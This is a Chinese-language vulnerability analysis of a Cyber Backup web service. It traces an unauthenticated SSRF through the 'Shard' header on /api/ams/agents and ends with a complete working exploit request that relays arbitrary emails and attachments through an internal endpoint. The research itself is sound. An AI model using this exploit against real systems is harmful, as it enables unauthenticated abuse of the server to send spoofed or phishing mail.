該應用程序Web服務在端口9877上運行,並提供一個登錄窗口:

Web源代碼中:

1
2
3
4
5
6
# WebServer/wcs/web/temp_ams_proxy.py:

def make_request_to_ams(resource, method, data=None):
port = config.CONFIG.get('default_ams_port', '9892')
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
[...]

get_ams_address(request.headers),該調用用於構造Uri。Shard在該方法中調用的特定請求標頭:

1
2
3
4
def get_ams_address(headers):
if 'Shard' in headers:
logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard'))
return headers.get('Shard') # Mobile agent >= ABC5.0

Shardurllib.request.urlopen調用中使用標題的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def make_request_to_ams(resource, method, data=None):
[...]
logging.debug('Making request to AMS %s %s', method, uri)
headers = dict(request.headers)
del headers['Content-Length']
if not data is None:
headers['Content-Type'] = 'application/json'
req = urllib.request.Request(uri,
headers=headers,
method=method,
data=data)
resp = None
try:
resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT)
except Exception as e:
logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e))
return resp

因此,這是一個SSRF.

唯一需要繞過的是目標Uri的硬編碼構造:

1
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

繞過方法:

1
Shard: localhost?

查找未經身份驗證的路由:

要利用此SSRF,我們需要找到無需身份驗證即可到達的路由。儘管大多數Cyber Backup的路由僅通過身份驗證才可以訪問,但有一條路由被稱為/api/ams/agents,它有些不同:

1
2
3
4
5
6
7
def setup_ams_routes(app):
[...]
for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES:
app.add_url_rule(uri,
methods=methods,
view_func=_route_add_devices_request_to_ams)
[...]

反過來,這只會allow_add_devices在將請求傳遞給易受攻擊的_route_the_request_to_ams方法之前檢查是否啟用了配置(這是標準配置):

1
2
3
4
5
def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs):
if not config.CONFIG.get('allow_add_devices', True):
raise exceptions.operation_forbidden_error('Add devices')

return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)

因此,我們在這裡找到了未經身份驗證的可攻擊路由。

發送完全自定義包含附件的郵件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@route(r'^/external_email/?')
class ExternalEmailHandler(RESTHandler):
@schematic_request(input=ExternalEmailValidator(), deserialize=True)
async def post(self):
try:
error = await send_external_email(
self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'],
self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []),
self.json.get('additionalRecipients', [])
)
if error:
raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', ''))
except RuntimeError as e:
raise HTTPError(http.BAD_REQUEST, reason=str(e))

我不會詳細介紹該方法(send_external_email),因為它相當複雜,但是此端點本質上使用通過HTTP POST提供的參數來構造隨後發送的電子郵件。

最終的工作漏洞如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /api/ams/agents HTTP/1.1
Host: 10.211.55.10:9877
Shard: localhost:30572/external_email?
Connection: close
Content-Length: 719
Content-Type: application/json;charset=UTF-8

{"tenantId":"00000000-0000-0000-0000-000000000000",
"template":"true_image_backup",
"parameters":{
"what_to_backup":"what_to_backup",
"duration":2,
"timezone":1,
"start_time":1,
"finish_time":1,
"backup_size":1,
"quota_servers":1,
"usage_vms":1,
"quota_vms":1,"subject_status":"subject_status",
"machine_name":"machine_name",
"plan_name":"plan_name",
"subject_hierarchy_name":"subject_hierarchy_name",
"subject_login":"subject_login",
"ams_machine_name":"ams_machine_name",
"machine_name":"machine_name",
"status":"status","support_url":"support_url"
},
"images":{"test":"./critical-alert.png"},
"attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="},
"mainRecipients":["info@somerandomemail.com"]}